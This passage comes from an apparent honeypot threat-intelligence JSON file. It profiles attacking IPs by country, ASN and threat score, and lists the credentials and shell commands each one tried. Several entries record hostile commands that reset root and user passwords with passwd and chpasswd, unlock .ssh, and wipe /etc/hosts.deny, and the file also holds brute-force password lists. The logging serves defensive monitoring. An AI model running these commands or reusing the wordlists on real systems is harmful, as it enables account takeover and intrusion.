        "Cowrie": 461,
        "Suricata": 108
      }
    },
    "27.79.5.10": {
      "attack_count": 457,
      "first_seen": "2026-03-22T19:33:06.739Z",
      "last_seen": "2026-03-22T20:08:20.483Z",
      "sessions": 91,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "monitor",
        "test",
        "user",
        "*****",
        "1234",
        "123456",
        "am",
        "anton",
        "ashish",
        "auto",
        "backup",
        "bin",
        "carol",
        "cisco",
        "client",
        "demo",
        "dubai",
        "ftp"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "1234",
        "12345",
        "0l0ctyQh243O63uD",
        "12345678",
        "admin",
        "*****",
        "1111",
        "111111",
        "112233",
        "123",
        "123456789",
        "91482d",
        "Deadstar!",
        "OkwKcECs8qJP2Z",
        "abc123",
        "admin1",
        "admin@123",
        "aerohive"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 30.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 646,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T19:33:06.739000+00:00",
        "last_seen_30d": "2026-03-22T20:09:25.581000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 457,
        "Suricata": 189
      }
    },
    "80.94.95.118": {
      "attack_count": 445,
      "first_seen": "2026-03-02T03:43:38.638Z",
      "last_seen": "2026-03-31T12:55:19.542Z",
      "sessions": 83,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "sshd",
        "user",
        "admin123",
        "hacluster",
        "ubuntu"
      ],
      "passwords_attempted": [
        "admin",
        "Admin123",
        "1qaz2wsx",
        "live",
        "admin123",
        "123456",
        "alpine",
        "!QAZ2wsx#EDC",
        "adminpass",
        "88888888",
        "topo133",
        "hacluster",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 204428,
      "as_org": "SS-Net",
      "threat_score": 67.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 28.4,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 694,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T03:43:38.638000+00:00",
        "last_seen_30d": "2026-03-31T12:56:28.111000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 445,
        "Suricata": 249
      }
    },
    "134.199.170.194": {
      "attack_count": 440,
      "first_seen": "2026-03-09T17:35:06.683Z",
      "last_seen": "2026-03-09T19:01:06.360Z",
      "sessions": 87,
      "ports": [],
      "usernames_attempted": [
        "administrator",
        "oracle",
        "pi",
        "postgres",
        "admin",
        "guest",
        "root",
        "test",
        "ubuntu",
        "user",
        "ftpuser"
      ],
      "passwords_attempted": [
        "password",
        "111111",
        "123123",
        "12345",
        "12345678",
        "123456789",
        "qwerty",
        "123456",
        "1234567"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 631,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T17:35:06.683000+00:00",
        "last_seen_30d": "2026-03-09T19:02:12.780000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 440,
        "Suricata": 191
      }
    },
    "136.248.247.188": {
      "attack_count": 425,
      "first_seen": "2026-03-17T12:16:36.320Z",
      "last_seen": "2026-03-24T19:38:54.459Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "ai",
        "nodejs",
        "sales1",
        "aman",
        "andres",
        "apache",
        "botuser",
        "bryan",
        "crawl",
        "cw",
        "dhkim",
        "downloader",
        "elemental",
        "excel",
        "ftp-user",
        "gosha",
        "lima",
        "md"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345678",
        "123",
        "12345",
        "123456",
        "As123456",
        "Bryan123!",
        "Excel123!",
        "Mes123!",
        "P@ssw0rd",
        "P@ssw0rd@2023",
        "Server@2026",
        "Vagrant123!",
        "ai123",
        "aman",
        "apachepass",
        "cw123!",
        "downloader123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\n4Rn3BMoShgn5\\n4Rn3BMoShgn5\\n\"|passwd",
        "echo \"ai123\\n3oZFYL5OiQLI\\n3oZFYL5OiQLI\\n\"|passwd",
        "echo \"nodejs123!\\nHu9zW5owIXRF\\nHu9zW5owIXRF\\n\"|passwd",
        "echo \"root:t3kCUF3gX7gy\"|chpasswd|bash",
        "echo -e \"12345678\\n4Rn3BMoShgn5\\n4Rn3BMoShgn5\"|passwd|bash",
        "echo -e \"ai123\\n3oZFYL5OiQLI\\n3oZFYL5OiQLI\"|passwd|bash",
        "echo -e \"nodejs123!\\nHu9zW5owIXRF\\nHu9zW5owIXRF\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Santiago",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 35.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 513,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T12:16:36.320000+00:00",
        "last_seen_30d": "2026-03-24T19:39:57.124000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 425,
        "Suricata": 88
      }
    },
    "189.203.163.10": {
      "attack_count": 405,
      "first_seen": "2026-03-02T14:28:11.921Z",
      "last_seen": "2026-03-27T15:52:57.691Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "jwlee",
        "dj",
        "efs",
        "gittest",
        "jun",
        "kirin",
        "smbuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "password",
        "123",
        "123123s",
        "123456",
        "123465.",
        "123mudar",
        "1qaz@wsX",
        "A123123456",
        "AA235211",
        "Ab123456@",
        "Huawei@123456",
        "Jun123!",
        "Qaz123456789",
        "ROOT",
        "Raja@123",
        "a!@s",
        "a12348765"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nXR6WDAWdcww8\\nXR6WDAWdcww8\\n\"|passwd",
        "echo \"root:EAWgPOa2p4U3\"|chpasswd|bash",
        "echo \"root:pskCSXNzC6Wd\"|chpasswd|bash",
        "echo -e \"123456\\nXR6WDAWdcww8\\nXR6WDAWdcww8\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Iztapalapa",
      "asn": 22884,
      "as_org": "TOTAL PLAY TELECOMUNICACIONES SA DE CV",
      "threat_score": 52.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.2,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 526,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T14:28:11.921000+00:00",
        "last_seen_30d": "2026-03-27T15:53:58.071000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 405,
        "Suricata": 121
      }
    },
    "116.99.168.66": {
      "attack_count": 387,
      "first_seen": "2026-03-10T16:12:15.299Z",
      "last_seen": "2026-03-10T16:31:34.846Z",
      "sessions": 77,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "test",
        "support",
        "user",
        "1234",
        "anton",
        "auto",
        "belkinstyle",
        "bin",
        "btf",
        "config",
        "ftp",
        "ftpuser",
        "george",
        "guest",
        "guest1",
        "helpdesk",
        "installer",
        "joggler"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "password",
        "12345",
        "admin123",
        "0l0ctyQh243O63uD",
        "1111",
        "123456",
        "12345678",
        "321start",
        "72ca06",
        "@",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abc123",
        "abcd1234",
        "abcdefg",
        "admin01",
        "admin@123",
        "alpine"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 556,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T16:12:15.299000+00:00",
        "last_seen_30d": "2026-03-10T16:32:42.475000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 387,
        "Suricata": 169
      }
    },
    "103.187.147.163": {
      "attack_count": 386,
      "first_seen": "2026-03-13T14:12:25.445Z",
      "last_seen": "2026-03-20T09:48:52.886Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "claude",
        "amin",
        "david",
        "was",
        "bin",
        "choi",
        "francesco",
        "hadoop",
        "hsadmin",
        "peertube",
        "sc",
        "simone",
        "steve",
        "syncthing",
        "task",
        "viewer",
        "vnc"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "!@#qwe123QWE",
        "123",
        "12345",
        "123456",
        "Ct123456",
        "Lenovo@123",
        "francesco123!",
        "hadoop123",
        "hsadmin123!",
        "pass123",
        "password",
        "qwerty",
        "stevepass",
        "syncthing123!",
        "was1234",
        "zs123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\niF5GxcRz9CYH\\niF5GxcRz9CYH\\n\"|passwd",
        "echo \"123456\\nf5MRBWWSkVrA\\nf5MRBWWSkVrA\\n\"|passwd",
        "echo \"pass123\\ni3uCErr8gA9T\\ni3uCErr8gA9T\\n\"|passwd",
        "echo \"was1234\\nx65QZ7jQMENs\\nx65QZ7jQMENs\\n\"|passwd",
        "echo -e \"12345678\\niF5GxcRz9CYH\\niF5GxcRz9CYH\"|passwd|bash",
        "echo -e \"123456\\nf5MRBWWSkVrA\\nf5MRBWWSkVrA\"|passwd|bash",
        "echo -e \"pass123\\ni3uCErr8gA9T\\ni3uCErr8gA9T\"|passwd|bash",
        "echo -e \"was1234\\nx65QZ7jQMENs\\nx65QZ7jQMENs\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 28.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.6,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 455,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T14:12:25.445000+00:00",
        "last_seen_30d": "2026-03-20T09:49:53.321000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 386,
        "Suricata": 69
      }
    },
    "102.23.122.235": {
      "attack_count": 381,
      "first_seen": "2026-03-11T13:53:43.800Z",
      "last_seen": "2026-03-22T21:49:04.979Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "erwin",
        "frank",
        "splunk",
        "wpuser",
        "bot",
        "chat",
        "deploy",
        "ftp-user",
        "hong",
        "kafka",
        "ken",
        "king",
        "mobiquity",
        "n8n",
        "nima",
        "root",
        "sysadmin",
        "testme",
        "ts3"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1",
        "Bot123",
        "Chat123!",
        "Ken123",
        "King123!",
        "aaaaaa",
        "deploy1",
        "erwin123",
        "frank",
        "hong1234",
        "n8n",
        "splunk123",
        "testme1234",
        "vnc123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nTOkYglbqJ40y\\nTOkYglbqJ40y\\n\"|passwd",
        "echo \"erwin123\\nUWqxE11UguwD\\nUWqxE11UguwD\\n\"|passwd",
        "echo \"frank\\nzR19oAMVASPe\\nzR19oAMVASPe\\n\"|passwd",
        "echo \"splunk123\\nHmIyE56GgCXF\\nHmIyE56GgCXF\\n\"|passwd",
        "echo -e \"123456\\nTOkYglbqJ40y\\nTOkYglbqJ40y\"|passwd|bash",
        "echo -e \"erwin123\\nUWqxE11UguwD\\nUWqxE11UguwD\"|passwd|bash",
        "echo -e \"frank\\nzR19oAMVASPe\\nzR19oAMVASPe\"|passwd|bash",
        "echo -e \"splunk123\\nHmIyE56GgCXF\\nHmIyE56GgCXF\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Zambia",
      "country_code": "ZM",
      "city": null,
      "asn": 328646,
      "as_org": "Infratel-Corporation",
      "threat_score": 34.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.5,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 449,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T13:53:43.800000+00:00",
        "last_seen_30d": "2026-03-22T21:50:12.305000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 381,
        "Suricata": 68
      }
    },
    "103.234.151.178": {
      "attack_count": 334,
      "first_seen": "2026-03-03T05:32:56.509Z",
      "last_seen": "2026-03-10T09:09:37.135Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1",
        "manu",
        "supermicro",
        "administrator",
        "clawd",
        "dbadmin",
        "hik",
        "nikita",
        "trooper",
        "won",
        "zsolt"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613",
        "123456",
        "123890",
        "1@asdfghjk",
        "676767",
        "@Dm1n",
        "A123123",
        "Asdf2025",
        "P@Ssword-123",
        "Password09",
        "Qwerty1!",
        "administrator1234",
        "clawd",
        "dbadmin",
        "hik1234",
        "manupass",
        "nikita123",
        "porsche"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"manupass\\ntdaHljsCuPks\\ntdaHljsCuPks\\n\"|passwd",
        "echo \"root:Z2jWaXX0FkRj\"|chpasswd|bash",
        "echo \"supermicro1234\\nCV1NBIjS49IN\\nCV1NBIjS49IN\\n\"|passwd",
        "echo -e \"manupass\\ntdaHljsCuPks\\ntdaHljsCuPks\"|passwd|bash",
        "echo -e \"supermicro1234\\nCV1NBIjS49IN\\nCV1NBIjS49IN\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 149130,
      "as_org": "TEKNIX CLOUD TECHNOLOGY INFRASTRUCTURE JOINT STOCK COMPANY",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.1,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 405,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T05:32:56.509000+00:00",
        "last_seen_30d": "2026-03-10T09:10:38.643000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 334,
        "Suricata": 71
      }
    },
    "210.79.191.199": {
      "attack_count": 328,
      "first_seen": "2026-03-08T04:47:13.780Z",
      "last_seen": "2026-03-12T14:23:43.908Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "demon",
        "sftptest",
        "adrian",
        "adv",
        "ark",
        "be",
        "bkp",
        "kipt",
        "lyt",
        "n8n",
        "patricia",
        "pwserver",
        "rachel",
        "sameer",
        "thomas",
        "ts3server",
        "ubuntu",
        "uftp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "1234",
        "!@#QWE123qwe",
        "123",
        "12345",
        "12345678",
        "1234qwer",
        "Kipt123",
        "Patricia123",
        "Rachel123!",
        "Thomas123!",
        "Xx123",
        "admin1",
        "ark123!",
        "bkp1234",
        "demon123!",
        "n8n",
        "test"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"demon123!\\nldU0iSvm0DIy\\nldU0iSvm0DIy\\n\"|passwd",
        "echo \"root:3HC7Qi1VTjYr\"|chpasswd|bash",
        "echo \"root:yzxvxcLhW7W5\"|chpasswd|bash",
        "echo -e \"demon123!\\nldU0iSvm0DIy\\nldU0iSvm0DIy\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 15.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 394,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T04:47:13.780000+00:00",
        "last_seen_30d": "2026-03-12T14:24:50.581000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 328,
        "Suricata": 66
      }
    },
    "197.243.0.62": {
      "attack_count": 267,
      "first_seen": "2026-03-06T19:19:16.912Z",
      "last_seen": "2026-03-06T19:50:18.318Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "paolo",
        "certftp",
        "root",
        "toan",
        "asdf",
        "saad",
        "sri",
        "superadmin",
        "testing",
        "tv"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123",
        "12345",
        "123456",
        "@qwer2024",
        "@qwer2025",
        "Testing123!",
        "certftp123!",
        "paolo",
        "saadpass",
        "tv123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nUyP3As0H2pMA\\nUyP3As0H2pMA\\n\"|passwd",
        "echo \"certftp123!\\njzdzKHLPpJt1\\njzdzKHLPpJt1\\n\"|passwd",
        "echo \"paolo\\nXSvNW2apUtVL\\nXSvNW2apUtVL\\n\"|passwd",
        "echo -e \"12345678\\nUyP3As0H2pMA\\nUyP3As0H2pMA\"|passwd|bash",
        "echo -e \"certftp123!\\njzdzKHLPpJt1\\njzdzKHLPpJt1\"|passwd|bash",
        "echo -e \"paolo\\nXSvNW2apUtVL\\nXSvNW2apUtVL\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Rwanda",
      "country_code": "RW",
      "city": "Kigali",
      "asn": 37228,
      "as_org": "Olleh-Rwanda-Networks",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 309,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T19:19:16.912000+00:00",
        "last_seen_30d": "2026-03-06T19:51:24.551000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 267,
        "Suricata": 42
      }
    },
    "211.46.188.16": {
      "attack_count": 257,
      "first_seen": "2026-03-14T16:05:10.937Z",
      "last_seen": "2026-03-14T16:24:58.912Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "elemental",
        "jason",
        "soporte",
        "grid",
        "hari",
        "labs",
        "lh",
        "mm",
        "root",
        "sa"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "Password1",
        "Soporte123!",
        "digitalocean",
        "elemental1234",
        "grid123!",
        "hari123",
        "labs123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
